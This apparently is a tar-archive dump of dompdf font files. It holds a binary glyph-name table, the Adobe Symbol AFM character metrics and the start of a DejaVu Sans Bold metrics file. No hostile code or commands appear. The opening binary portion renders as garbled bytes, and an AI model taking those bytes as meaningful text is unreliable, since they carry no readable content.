uni02E6.3	uni02E7.3	uni02E8.3	uni02E9.3	uni02E5.2	uni02E6.2	uni02E7.2	uni02E8.2	uni02E9.2	uni02E5.1	uni02E6.1	uni02E7.1	uni02E8.1	uni02E9.1stemuniF000uniF001uniF002uniF003uniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF428uniF429uniF42AuniF42BuniF42CuniF42DuniF42EuniF42FuniF430uniF431uniF432uniF433uniF434uniF435uniF436uniF437uniF438uniF439uniF43AuniF43BuniF43CuniF43DuniF43EuniF43FuniF440uniF441uniF6C5uniFB00uniFB03uniFB04uniFB05uniFB06uniFB13uniFB14uniFB15uniFB16uniFB17uniFB1DuniFB1EuniFB1FuniFB20uniFB21uniFB22uniFB23uniFB24uniFB25uniFB26uniFB27uniFB28uniFB29uniFB2AuniFB2BuniFB2CuniFB2DuniFB2EuniFB2FuniFB30uniFB31uniFB32uniFB33uniFB34uniFB35uniFB36uniFB38uniFB39uniFB3AuniFB3BuniFB3CuniFB3EuniFB40uniFB41uniFB43uniFB44uniFB46uniFB47uniFB48uniFB49uniFB4AuniFB4BuniFB4CuniFB4DuniFB4EuniFB4FuniFB52uniFB53uniFB54uniFB55uniFB56uniFB57uniFB58uniFB59uniFB5AuniFB5BuniFB5CuniFB5DuniFB5EuniFB5FuniFB60uniFB61uniFB62uniFB63uniFB64uniFB65uniFB66uniFB67uniFB68uniFB69uniFB6AuniFB6BuniFB6CuniFB6DuniFB6EuniFB6FuniFB70uniFB71uniFB72uniFB73uniFB74uniFB75uniFB76uniFB77uniFB78uniFB79uniFB7AuniFB7BuniFB7CuniFB7DuniFB7EuniFB7FuniFB80uniFB81uniFB82uniFB83uniFB84uniFB85uniFB86uniFB87uniFB88uniFB89uniFB8AuniFB8BuniFB8CuniFB8DuniFB8EuniFB8FuniFB90uniFB91uniFB92uniFB93uniFB94uniFB95uniFB96uniFB97uniFB98uniFB99uniFB9AuniFB9BuniFB9CuniFB9DuniFB9EuniFB9FuniFBA0uniFBA1uniFBA2uniFBA3uniFBAAuniFBABuniFBACuniFBADuniFBD3uniFBD4uniFBD5uniFBD6uniFBD7uniFBD8uniFBD9uniFBDAuniFBDBuniFBDCuniFBDEuniFBDFuniFBE4uniFBE5uniFBE6uniFBE7uniFBE8uniFBE9uniFBFCuniFBFDuniFBFEuniFBFFuniFE00uniFE01uniFE02uniFE03uniFE04uniFE05uniFE06uniFE07uniFE08uniFE09uniFE0AuniFE0BuniFE0CuniFE0DuniFE0EuniFE0FuniFE20uniFE21uniFE22uniFE23uniFE70uniFE71uniFE72uniFE73uniFE74uniFE76uniFE77uniFE78uniFE79uniFE7AuniFE7BuniFE7CuniFE7DuniFE7EuniFE7FuniFE80uniFE81uniFE82uniFE83uniFE84uniFE85uniFE86uniFE87uniFE88uniFE89uniFE8AuniFE8BuniFE8CuniFE8DuniFE8EuniFE8FuniFE90uniFE91uniFE92uniFE93uniFE94uniFE95uniFE96uniFE97uniFE98uniFE99uniFE9AuniFE9BuniFE9CuniFE9DuniFE9EuniFE9FuniFEA0uniFEA1uniFEA2uniFEA3uniFEA4uniFEA5uniFEA6uniFEA7uniFEA8uniFEA9uniFEAAuniFEABuniFEACuniFEADuniFEAEuniFEAFuniFEB0uniFEB1uniFEB2uniFEB3uniFEB4uniFEB5uniFEB6uniFEB7uniFEB8uniFEB9uniFEBAuniFEBBuniFEBCuniFEBDuniFEBEuniFEBFuniFEC0uniFEC1uniFEC2uniFEC3uniFEC4uniFEC5uniFEC6uniFEC7uniFEC8uniFEC9uniFECAuniFECBuniFECCuniFECDuniFECEuniFECFuniFED0uniFED1uniFED2uniFED3uniFED4uniFED5uniFED6uniFED7uniFED8uniFED9uniFEDAuniFEDBuniFEDCuniFEDDuniFEDEuniFEDFuniFEE0uniFEE1uniFEE2uniFEE3uniFEE4uniFEE5uniFEE6uniFEE7uniFEE8uniFEE9uniFEEAuniFEEBuniFEECuniFEEDuniFEEEuniFEEFuniFEF0uniFEF1uniFEF2uniFEF3uniFEF4uniFEF5uniFEF6uniFEF7uniFEF8uniFEF9uniFEFAuniFEFBuniFEFCuniFEFFuniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu10300u10301u10302u10303u10304u10305u10306u10307u10308u10309u1030Au1030Bu1030Cu1030Du1030Eu1030Fu10310u10311u10312u10313u10314u10315u10316u10317u10318u10319u1031Au1031Bu1031Cu1031Du1031Eu10320u10321u10322u10323u1D300u1D301u1D302u1D303u1D304u1D305u1D306u1D307u1D308u1D309u1D30Au1D30Bu1D30Cu1D30Du1D30Eu1D30Fu1D310u1D311u1D312u1D313u1D314u1D315u1D316u1D317u1D318u1D319u1D31Au1D31Bu1D31Cu1D31Du1D31Eu1D31Fu1D320u1D321u1D322u1D323u1D324u1D325u1D326u1D327u1D328u1D329u1D32Au1D32Bu1D32Cu1D32Du1D32Eu1D32Fu1D330u1D331u1D332u1D333u1D334u1D335u1D336u1D337u1D338u1D339u1D33Au1D33Bu1D33Cu1D33Du1D33Eu1D33Fu1D340u1D341u1D342u1D343u1D344u1D345u1D346u1D347u1D348u1D349u1D34Au1D34Bu1D34Cu1D34Du1D34Eu1D34Fu1D350u1D351u1D352u1D353u1D354u1D355u1D356u1D538u1D539u1D53Bu1D53Cu1D53Du1D53Eu1D540u1D541u1D542u1D543u1D544u1D546u1D54Au1D54Bu1D54Cu1D54Du1D54Eu1D54Fu1D550u1D552u1D553u1D554u1D555u1D556u1D557u1D558u1D559u1D55Au1D55Bu1D55Cu1D55Du1D55Eu1D55Fu1D560u1D561u1D562u1D563u1D564u1D565u1D566u1D567u1D568u1D569u1D56Au1D56Bu1D5A0u1D5A1u1D5A2u1D5A3u1D5A4u1D5A5u1D5A6u1D5A7u1D5A8u1D5A9u1D5AAu1D5ABu1D5ACu1D5ADu1D5AEu1D5AFu1D5B0u1D5B1u1D5B2u1D5B3u1D5B4u1D5B5u1D5B6u1D5B7u1D5B8u1D5B9u1D5BAu1D5BBu1D5BCu1D5BDu1D5BEu1D5BFu1D5C0u1D5C1u1D5C2u1D5C3u1D5C4u1D5C5u1D5C6u1D5C7u1D5C8u1D5C9u1D5CAu1D5CBu1D5CCu1D5CDu1D5CEu1D5CFu1D5D0u1D5D1u1D5D2u1D5D3u1D7D8u1D7D9u1D7DAu1D7DBu1D7DCu1D7DDu1D7DEu1D7DFu1D7E0u1D7E1u1D7E2u1D7E3u1D7E4u1D7E5u1D7E6u1D7E7u1D7E8u1D7E9u1D7EAu1D7EBu1EE00u1EE01u1EE02u1EE03u1EE05u1EE06u1EE07u1EE08u1EE09u1EE0Au1EE0Bu1EE0Cu1EE0Du1EE0Eu1EE0Fu1EE10u1EE11u1EE12u1EE13u1EE14u1EE15u1EE16u1EE17u1EE18u1EE19u1EE1Au1EE1Bu1EE1Cu1EE1Du1EE1Eu1EE1Fu1EE21u1EE22u1EE24u1EE27u1EE29u1EE2Au1EE2Bu1EE2Cu1EE2Du1EE2Eu1EE2Fu1EE30u1EE31u1EE32u1EE34u1EE35u1EE36u1EE37u1EE39u1EE3Bu1EE61u1EE62u1EE64u1EE67u1EE68u1EE69u1EE6Au1EE6Cu1EE6Du1EE6Eu1EE6Fu1EE70u1EE71u1EE72u1EE74u1EE75u1EE76u1EE77u1EE79u1EE7Au1EE7Bu1EE7Cu1EE7Eu1F030u1F031u1F032u1F033u1F034u1F035u1F036u1F037u1F038u1F039u1F03Au1F03Bu1F03Cu1F03Du1F03Eu1F03Fu1F040u1F041u1F042u1F043u1F044u1F045u1F046u1F047u1F048u1F049u1F04Au1F04Bu1F04Cu1F04Du1F04Eu1F04Fu1F050u1F051u1F052u1F053u1F054u1F055u1F056u1F057u1F058u1F059u1F05Au1F05Bu1F05Cu1F05Du1F05Eu1F05Fu1F060u1F061u1F062u1F063u1F064u1F065u1F066u1F067u1F068u1F069u1F06Au1F06Bu1F06Cu1F06Du1F06Eu1F06Fu1F070u1F071u1F072u1F073u1F074u1F075u1F076u1F077u1F078u1F079u1F07Au1F07Bu1F07Cu1F07Du1F07Eu1F07Fu1F080u1F081u1F082u1F083u1F084u1F085u1F086u1F087u1F088u1F089u1F08Au1F08Bu1F08Cu1F08Du1F08Eu1F08Fu1F090u1F091u1F092u1F093u1F0A0u1F0A1u1F0A2u1F0A3u1F0A4u1F0A5u1F0A6u1F0A7u1F0A8u1F0A9u1F0AAu1F0ABu1F0ACu1F0ADu1F0AEu1F0B1u1F0B2u1F0B3u1F0B4u1F0B5u1F0B6u1F0B7u1F0B8u1F0B9u1F0BAu1F0BBu1F0BCu1F0BDu1F0BEu1F0C1u1F0C2u1F0C3u1F0C4u1F0C5u1F0C6u1F0C7u1F0C8u1F0C9u1F0CAu1F0CBu1F0CCu1F0CDu1F0CEu1F0CFu1F0D1u1F0D2u1F0D3u1F0D4u1F0D5u1F0D6u1F0D7u1F0D8u1F0D9u1F0DAu1F0DBu1F0DCu1F0DDu1F0DEu1F0DFu1F311u1F312u1F313u1F314u1F315u1F316u1F317u1F318u1F42Du1F42Eu1F431u1F435u1F600u1F601u1F602u1F603u1F604u1F605u1F606u1F607u1F608u1F609u1F60Au1F60Bu1F60Cu1F60Du1F60Eu1F60Fu1F610u1F611u1F612u1F613u1F614u1F615u1F616u1F617u1F618u1F619u1F61Au1F61Bu1F61Cu1F61Du1F61Eu1F61Fu1F620u1F621u1F622u1F623u1F625u1F626u1F627u1F628u1F629u1F62Au1F62Bu1F62Du1F62Eu1F62Fu1F630u1F631u1F632u1F633u1F634u1F635u1F636u1F637u1F638u1F639u1F63Au1F63Bu1F63Cu1F63Du1F63Eu1F63Fu1F640u1F643	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaronuni0311.caseBreve	DotaccentHungarumlautDoublegrave
arabic_dotarabic_2dotsarabic_3dotsarabic_3dots_aarabic_2dots_aarabic_4dotsuni066E.finauni066E.inituni066E.mediuni06A1.finauni06A1.inituni06A1.mediuni066F.finauni066F.inituni066F.mediuni06BA.inituni06BA.mediarabic_ringuni067C.finauni067C.inituni067C.mediuni067D.finauni067D.inituni067D.mediuni0681.finauni0681.inituni0681.mediuni0682.finauni0682.inituni0682.mediuni0685.finauni0685.inituni0685.mediuni06BF.finauni06BF.inituni06BF.mediarabic_gaf_barEng.altuni0268.dotlessuni029D.dotlessuni03080304uni03040308uni03070304uni03080301uni03080300uni03040301uni03040300uni03030304uni0308030Cuni03030308uni030C0307uni03030301uni03020301uni03020300uni03020303uni03060303uni03060301uni03060300uni03060309uni03020309uni03010307
brailledotJ.altuni0695.finauniFEAE.fina.longstartuni06B5.finauni06B5.inituni06B5.mediuni06CE.finauni06CE.inituni06CE.mediuni0692.final.altuni06D5.finauni0478.monographuni0479.monographiogonek.dotlessuni2148.dotlessuni2149.dotlessuni1E2D.dotlessuni1ECB.dotlessdcoI.alt
arrow.baseuni0651064Buni0651064Cuni064B0651uni0651064Euni0651064Funi064E0651uni0654064Euni0654064Funi07CA.finauni07CA.mediuni07CA.inituni07CB.finauni07CB.mediuni07CB.inituni07CC.finauni07CC.mediuni07CC.inituni07CD.finauni07CD.mediuni07CD.inituni07CE.finauni07CE.mediuni07CE.inituni07CF.finauni07CF.mediuni07CF.inituni07D0.finauni07D0.mediuni07D0.inituni07D1.finauni07D1.mediuni07D1.inituni07D2.finauni07D2.mediuni07D2.inituni07D3.finauni07D3.mediuni07D3.inituni07D4.finauni07D4.mediuni07D4.inituni07D5.finauni07D5.mediuni07D5.inituni07D6.finauni07D6.mediuni07D6.inituni07D7.finauni07D7.mediuni07D7.inituni07D8.finauni07D8.mediuni07D8.inituni07D9.finauni07D9.mediuni07D9.inituni07DA.finauni07DA.mediuni07DA.inituni07DB.finauni07DB.mediuni07DB.inituni07DC.finauni07DC.mediuni07DC.inituni07DD.finauni07DD.mediuni07DD.inituni07DE.finauni07DE.mediuni07DE.inituni07DF.finauni07DF.mediuni07DF.inituni07E0.finauni07E0.mediuni07E0.inituni07E1.finauni07E1.mediuni07E1.inituni07E2.finauni07E2.mediuni07E2.inituni07E3.finauni07E3.mediuni07E3.inituni07E4.finauni07E4.mediuni07E4.inituni07E5.finauni07E5.mediuni07E5.inituni07E6.finauni07E6.mediuni07E6.inituni07E7.finauni07E7.mediuni07E7.init	Ringaboveuni2630.altuni2631.altuni2632.altuni2633.altuni2634.altuni2635.altuni2636.altuni2637.altuni047E.diacuni048A.brevelessuni048B.brevelessy.altuni0689.finauni068A.finauni068B.finauni068F.finauni0690.finauni0693.finauni0694.finauni0696.finauni0697.finauni0699.finauni069A.finauni069A.inituni069A.mediuni069B.finauni069B.inituni069B.mediuni069C.finauni069C.inituni069C.mediuni069D.finauni069D.inituni069D.mediuni069E.finauni069E.inituni069E.mediuni069F.finauni069F.inituni069F.mediuni06A0.finauni06A0.inituni06A0.mediuni06A2.finauni06A2.inituni06A2.mediuni06A3.finauni06A3.inituni06A3.mediuni06A5.finauni06A5.inituni06A5.mediuni06A7.finauni06A7.inituni06A7.mediuni06A8.finauni06A8.inituni06A8.mediuni06AA.finauni06AA.inituni06AA.mediuni06AB.finauni06AB.inituni06AB.mediuni06AC.finauni06AC.inituni06AC.mediuni06AE.finauni06AE.inituni06AE.mediuni06B0.finauni06B0.inituni06B0.mediuni06B2.finauni06B2.inituni06B2.mediuni06B4.finauni06B4.inituni06B4.mediuni06B6.finauni06B6.inituni06B6.mediuni06B7.finauni06B7.inituni06B7.mediuni06B8.finauni06B8.inituni06B8.mediuni06B9.finauni06B9.inituni06B9.mediuni06BC.finauni06BC.inituni06BC.mediuni06BD.finauni06BD.inituni06BD.mediexclamdown.casequestiondown.caseuni2E18.caseuni066E.init.mathproduct.displayuni2210.displaysummation.displayintegral.displayuni222C.displayuni222D.displayuni222E.displayuni222F.displayuni2230.displayuni2231.displayuni2232.displayuni2233.displayuni22C0.displayuni22C1.displayuni22C2.displayuni22C3.displayuni2A00.displayuni2A01.displayuni2A02.displayuni2A0C.displayuni2A0D.displayuni2A0E.displayuni2A0F.displayuni2A10.displayuni2A11.displayuni2A12.displayuni2A13.displayuni2A14.displayuni2A15.displayuni2A16.displayuni2A17.displayuni2A18.displayuni2A19.displayuni2A1A.displayuni2A1B.displayuni2A1C.display��@�����%�2�������%���%�A�������:�B��2��S��A�S��/��/���2�ݖ���}ٻ�֊A�}��G�}�G��������͖�����2�ƅ����������������������%���������]������%�]@��@�%�������������d���%�d���%���A��������������2��d��A������������d�����
����
���
��A�����(����������]������%�]�@�%����.���.��%�A������%�d���%�������������@�~}}~�}}|d{T{%z�y�xwv
u�t�s�r�q�p�o�n�l!k�jBjSi�h}gBf�e�d�c�b�a:`�^]�[�Z�YX
Y�X
WW2V�UTUBTSSRQJQ�PO�NMN�ML�KJK�JIJI
IH
G�F�E�D�C-C�B�AK@�?�>=>=<=<;
<@�;
:�9�878�767656543
212�10/0
/.-	.-	,2+*%+d*)*%)('%(A'%&%&%$�#�"!! d�
d
B��BB�d����B�-B}d�

��
	�-�d�@-�-��d��++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/Symbol.afm000066600000023341151150442750014427 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated. All rights reserved.
Comment Creation Date: Thu May  1 15:12:25 1997
Comment UniqueID 43064
Comment VMusage 30820 39997
FontName Symbol
FullName Symbol
FamilyName Symbol
Weight Medium
ItalicAngle 0
IsFixedPitch false
CharacterSet Special
FontBBox -180 -293 1090 1010 
UnderlinePosition -100
UnderlineThickness 50
Version 001.008
Notice Copyright (c) 1985, 1987, 1989, 1990, 1997 Adobe Systems Incorporated. All rights reserved.
EncodingScheme FontSpecific
StdHW 92
StdVW 85
StartCharMetrics 190
C 32 ; WX 250 ; N space ; B 0 0 0 0 ;
C 33 ; WX 333 ; N exclam ; B 128 -17 240 672 ;
C 34 ; WX 713 ; N universal ; B 31 0 681 705 ;
C 35 ; WX 500 ; N numbersign ; B 20 -16 481 673 ;
C 36 ; WX 549 ; N existential ; B 25 0 478 707 ;
C 37 ; WX 833 ; N percent ; B 63 -36 771 655 ;
C 38 ; WX 778 ; N ampersand ; B 41 -18 750 661 ;
C 39 ; WX 439 ; N suchthat ; B 48 -17 414 500 ;
C 40 ; WX 333 ; N parenleft ; B 53 -191 300 673 ;
C 41 ; WX 333 ; N parenright ; B 30 -191 277 673 ;
C 42 ; WX 500 ; N asteriskmath ; B 65 134 427 551 ;
C 43 ; WX 549 ; N plus ; B 10 0 539 533 ;
C 44 ; WX 250 ; N comma ; B 56 -152 194 104 ;
C 45 ; WX 549 ; N minus ; B 11 233 535 288 ;
C 46 ; WX 250 ; N period ; B 69 -17 181 95 ;
C 47 ; WX 278 ; N slash ; B 0 -18 254 646 ;
C 48 ; WX 500 ; N zero ; B 24 -14 476 685 ;
C 49 ; WX 500 ; N one ; B 117 0 390 673 ;
C 50 ; WX 500 ; N two ; B 25 0 475 685 ;
C 51 ; WX 500 ; N three ; B 43 -14 435 685 ;
C 52 ; WX 500 ; N four ; B 15 0 469 685 ;
C 53 ; WX 500 ; N five ; B 32 -14 445 690 ;
C 54 ; WX 500 ; N six ; B 34 -14 468 685 ;
C 55 ; WX 500 ; N seven ; B 24 -16 448 673 ;
C 56 ; WX 500 ; N eight ; B 56 -14 445 685 ;
C 57 ; WX 500 ; N nine ; B 30 -18 459 685 ;
C 58 ; WX 278 ; N colon ; B 81 -17 193 460 ;
C 59 ; WX 278 ; N semicolon ; B 83 -152 221 460 ;
C 60 ; WX 549 ; N less ; B 26 0 523 522 ;
C 61 ; WX 549 ; N equal ; B 11 141 537 390 ;
C 62 ; WX 549 ; N greater ; B 26 0 523 522 ;
C 63 ; WX 444 ; N question ; B 70 -17 412 686 ;
C 64 ; WX 549 ; N congruent ; B 11 0 537 475 ;
C 65 ; WX 722 ; N Alpha ; B 4 0 684 673 ;
C 66 ; WX 667 ; N Beta ; B 29 0 592 673 ;
C 67 ; WX 722 ; N Chi ; B -9 0 704 673 ;
C 68 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 69 ; WX 611 ; N Epsilon ; B 32 0 617 673 ;
C 70 ; WX 763 ; N Phi ; B 26 0 741 673 ;
C 71 ; WX 603 ; N Gamma ; B 24 0 609 673 ;
C 72 ; WX 722 ; N Eta ; B 39 0 729 673 ;
C 73 ; WX 333 ; N Iota ; B 32 0 316 673 ;
C 74 ; WX 631 ; N theta1 ; B 18 -18 623 689 ;
C 75 ; WX 722 ; N Kappa ; B 35 0 722 673 ;
C 76 ; WX 686 ; N Lambda ; B 6 0 680 688 ;
C 77 ; WX 889 ; N Mu ; B 28 0 887 673 ;
C 78 ; WX 722 ; N Nu ; B 29 -8 720 673 ;
C 79 ; WX 722 ; N Omicron ; B 41 -17 715 685 ;
C 80 ; WX 768 ; N Pi ; B 25 0 745 673 ;
C 81 ; WX 741 ; N Theta ; B 41 -17 715 685 ;
C 82 ; WX 556 ; N Rho ; B 28 0 563 673 ;
C 83 ; WX 592 ; N Sigma ; B 5 0 589 673 ;
C 84 ; WX 611 ; N Tau ; B 33 0 607 673 ;
C 85 ; WX 690 ; N Upsilon ; B -8 0 694 673 ;
C 86 ; WX 439 ; N sigma1 ; B 40 -233 436 500 ;
C 87 ; WX 768 ; N Omega ; B 34 0 736 688 ;
C 88 ; WX 645 ; N Xi ; B 40 0 599 673 ;
C 89 ; WX 795 ; N Psi ; B 15 0 781 684 ;
C 90 ; WX 611 ; N Zeta ; B 44 0 636 673 ;
C 91 ; WX 333 ; N bracketleft ; B 86 -155 299 674 ;
C 92 ; WX 863 ; N therefore ; B 163 0 701 487 ;
C 93 ; WX 333 ; N bracketright ; B 33 -155 246 674 ;
C 94 ; WX 658 ; N perpendicular ; B 15 0 652 674 ;
C 95 ; WX 500 ; N underscore ; B -2 -125 502 -75 ;
C 96 ; WX 500 ; N radicalex ; B 480 881 1090 917 ;
C 97 ; WX 631 ; N alpha ; B 41 -18 622 500 ;
C 98 ; WX 549 ; N beta ; B 61 -223 515 741 ;
C 99 ; WX 549 ; N chi ; B 12 -231 522 499 ;
C 100 ; WX 494 ; N delta ; B 40 -19 481 740 ;
C 101 ; WX 439 ; N epsilon ; B 22 -19 427 502 ;
C 102 ; WX 521 ; N phi ; B 28 -224 492 673 ;
C 103 ; WX 411 ; N gamma ; B 5 -225 484 499 ;
C 104 ; WX 603 ; N eta ; B 0 -202 527 514 ;
C 105 ; WX 329 ; N iota ; B 0 -17 301 503 ;
C 106 ; WX 603 ; N phi1 ; B 36 -224 587 499 ;
C 107 ; WX 549 ; N kappa ; B 33 0 558 501 ;
C 108 ; WX 549 ; N lambda ; B 24 -17 548 739 ;
C 109 ; WX 576 ; N mu ; B 33 -223 567 500 ;
C 110 ; WX 521 ; N nu ; B -9 -16 475 507 ;
C 111 ; WX 549 ; N omicron ; B 35 -19 501 499 ;
C 112 ; WX 549 ; N pi ; B 10 -19 530 487 ;
C 113 ; WX 521 ; N theta ; B 43 -17 485 690 ;
C 114 ; WX 549 ; N rho ; B 50 -230 490 499 ;
C 115 ; WX 603 ; N sigma ; B 30 -21 588 500 ;
C 116 ; WX 439 ; N tau ; B 10 -19 418 500 ;
C 117 ; WX 576 ; N upsilon ; B 7 -18 535 507 ;
C 118 ; WX 713 ; N omega1 ; B 12 -18 671 583 ;
C 119 ; WX 686 ; N omega ; B 42 -17 684 500 ;
C 120 ; WX 493 ; N xi ; B 27 -224 469 766 ;
C 121 ; WX 686 ; N psi ; B 12 -228 701 500 ;
C 122 ; WX 494 ; N zeta ; B 60 -225 467 756 ;
C 123 ; WX 480 ; N braceleft ; B 58 -183 397 673 ;
C 124 ; WX 200 ; N bar ; B 65 -293 135 707 ;
C 125 ; WX 480 ; N braceright ; B 79 -183 418 673 ;
C 126 ; WX 549 ; N similar ; B 17 203 529 307 ;
C 160 ; WX 750 ; N Euro ; B 20 -12 714 685 ;
C 161 ; WX 620 ; N Upsilon1 ; B -2 0 610 685 ;
C 162 ; WX 247 ; N minute ; B 27 459 228 735 ;
C 163 ; WX 549 ; N lessequal ; B 29 0 526 639 ;
C 164 ; WX 167 ; N fraction ; B -180 -12 340 677 ;
C 165 ; WX 713 ; N infinity ; B 26 124 688 404 ;
C 166 ; WX 500 ; N florin ; B 2 -193 494 686 ;
C 167 ; WX 753 ; N club ; B 86 -26 660 533 ;
C 168 ; WX 753 ; N diamond ; B 142 -36 600 550 ;
C 169 ; WX 753 ; N heart ; B 117 -33 631 532 ;
C 170 ; WX 753 ; N spade ; B 113 -36 629 548 ;
C 171 ; WX 1042 ; N arrowboth ; B 24 -15 1024 511 ;
C 172 ; WX 987 ; N arrowleft ; B 32 -15 942 511 ;
C 173 ; WX 603 ; N arrowup ; B 45 0 571 910 ;
C 174 ; WX 987 ; N arrowright ; B 49 -15 959 511 ;
C 175 ; WX 603 ; N arrowdown ; B 45 -22 571 888 ;
C 176 ; WX 400 ; N degree ; B 50 385 350 685 ;
C 177 ; WX 549 ; N plusminus ; B 10 0 539 645 ;
C 178 ; WX 411 ; N second ; B 20 459 413 737 ;
C 179 ; WX 549 ; N greaterequal ; B 29 0 526 639 ;
C 180 ; WX 549 ; N multiply ; B 17 8 533 524 ;
C 181 ; WX 713 ; N proportional ; B 27 123 639 404 ;
C 182 ; WX 494 ; N partialdiff ; B 26 -20 462 746 ;
C 183 ; WX 460 ; N bullet ; B 50 113 410 473 ;
C 184 ; WX 549 ; N divide ; B 10 71 536 456 ;
C 185 ; WX 549 ; N notequal ; B 15 -25 540 549 ;
C 186 ; WX 549 ; N equivalence ; B 14 82 538 443 ;
C 187 ; WX 549 ; N approxequal ; B 14 135 527 394 ;
C 188 ; WX 1000 ; N ellipsis ; B 111 -17 889 95 ;
C 189 ; WX 603 ; N arrowvertex ; B 280 -120 336 1010 ;
C 190 ; WX 1000 ; N arrowhorizex ; B -60 220 1050 276 ;
C 191 ; WX 658 ; N carriagereturn ; B 15 -16 602 629 ;
C 192 ; WX 823 ; N aleph ; B 175 -18 661 658 ;
C 193 ; WX 686 ; N Ifraktur ; B 10 -53 578 740 ;
C 194 ; WX 795 ; N Rfraktur ; B 26 -15 759 734 ;
C 195 ; WX 987 ; N weierstrass ; B 159 -211 870 573 ;
C 196 ; WX 768 ; N circlemultiply ; B 43 -17 733 673 ;
C 197 ; WX 768 ; N circleplus ; B 43 -15 733 675 ;
C 198 ; WX 823 ; N emptyset ; B 39 -24 781 719 ;
C 199 ; WX 768 ; N intersection ; B 40 0 732 509 ;
C 200 ; WX 768 ; N union ; B 40 -17 732 492 ;
C 201 ; WX 713 ; N propersuperset ; B 20 0 673 470 ;
C 202 ; WX 713 ; N reflexsuperset ; B 20 -125 673 470 ;
C 203 ; WX 713 ; N notsubset ; B 36 -70 690 540 ;
C 204 ; WX 713 ; N propersubset ; B 37 0 690 470 ;
C 205 ; WX 713 ; N reflexsubset ; B 37 -125 690 470 ;
C 206 ; WX 713 ; N element ; B 45 0 505 468 ;
C 207 ; WX 713 ; N notelement ; B 45 -58 505 555 ;
C 208 ; WX 768 ; N angle ; B 26 0 738 673 ;
C 209 ; WX 713 ; N gradient ; B 36 -19 681 718 ;
C 210 ; WX 790 ; N registerserif ; B 50 -17 740 673 ;
C 211 ; WX 790 ; N copyrightserif ; B 51 -15 741 675 ;
C 212 ; WX 890 ; N trademarkserif ; B 18 293 855 673 ;
C 213 ; WX 823 ; N product ; B 25 -101 803 751 ;
C 214 ; WX 549 ; N radical ; B 10 -38 515 917 ;
C 215 ; WX 250 ; N dotmath ; B 69 210 169 310 ;
C 216 ; WX 713 ; N logicalnot ; B 15 0 680 288 ;
C 217 ; WX 603 ; N logicaland ; B 23 0 583 454 ;
C 218 ; WX 603 ; N logicalor ; B 30 0 578 477 ;
C 219 ; WX 1042 ; N arrowdblboth ; B 27 -20 1023 510 ;
C 220 ; WX 987 ; N arrowdblleft ; B 30 -15 939 513 ;
C 221 ; WX 603 ; N arrowdblup ; B 39 2 567 911 ;
C 222 ; WX 987 ; N arrowdblright ; B 45 -20 954 508 ;
C 223 ; WX 603 ; N arrowdbldown ; B 44 -19 572 890 ;
C 224 ; WX 494 ; N lozenge ; B 18 0 466 745 ;
C 225 ; WX 329 ; N angleleft ; B 25 -198 306 746 ;
C 226 ; WX 790 ; N registersans ; B 50 -20 740 670 ;
C 227 ; WX 790 ; N copyrightsans ; B 49 -15 739 675 ;
C 228 ; WX 786 ; N trademarksans ; B 5 293 725 673 ;
C 229 ; WX 713 ; N summation ; B 14 -108 695 752 ;
C 230 ; WX 384 ; N parenlefttp ; B 24 -293 436 926 ;
C 231 ; WX 384 ; N parenleftex ; B 24 -85 108 925 ;
C 232 ; WX 384 ; N parenleftbt ; B 24 -293 436 926 ;
C 233 ; WX 384 ; N bracketlefttp ; B 0 -80 349 926 ;
C 234 ; WX 384 ; N bracketleftex ; B 0 -79 77 925 ;
C 235 ; WX 384 ; N bracketleftbt ; B 0 -80 349 926 ;
C 236 ; WX 494 ; N bracelefttp ; B 209 -85 445 925 ;
C 237 ; WX 494 ; N braceleftmid ; B 20 -85 284 935 ;
C 238 ; WX 494 ; N braceleftbt ; B 209 -75 445 935 ;
C 239 ; WX 494 ; N braceex ; B 209 -85 284 935 ;
C 241 ; WX 329 ; N angleright ; B 21 -198 302 746 ;
C 242 ; WX 274 ; N integral ; B 2 -107 291 916 ;
C 243 ; WX 686 ; N integraltp ; B 308 -88 675 920 ;
C 244 ; WX 686 ; N integralex ; B 308 -88 378 975 ;
C 245 ; WX 686 ; N integralbt ; B 11 -87 378 921 ;
C 246 ; WX 384 ; N parenrighttp ; B 54 -293 466 926 ;
C 247 ; WX 384 ; N parenrightex ; B 382 -85 466 925 ;
C 248 ; WX 384 ; N parenrightbt ; B 54 -293 466 926 ;
C 249 ; WX 384 ; N bracketrighttp ; B 22 -80 371 926 ;
C 250 ; WX 384 ; N bracketrightex ; B 294 -79 371 925 ;
C 251 ; WX 384 ; N bracketrightbt ; B 22 -80 371 926 ;
C 252 ; WX 494 ; N bracerighttp ; B 48 -85 284 925 ;
C 253 ; WX 494 ; N bracerightmid ; B 209 -85 473 935 ;
C 254 ; WX 494 ; N bracerightbt ; B 48 -75 284 935 ;
C -1 ; WX 790 ; N apple ; B 56 -3 733 808 ;
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSans-Bold.ufm000066600000640670151150442750016101 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Sans
FontSubfamily Bold
UniqueID DejaVu Sans Bold
FullName DejaVu Sans Bold
Version Version 2.37
PostScriptName DejaVuSans-Bold
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
PreferredFamily DejaVu Sans
PreferredSubfamily Bold
Weight Bold
ItalicAngle 0
IsFixedPitch false
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -1069 -415 1975 1174
StartCharMetrics 6196
U 32 ; WX 348 ; N space ; G 3
U 33 ; WX 456 ; N exclam ; G 4
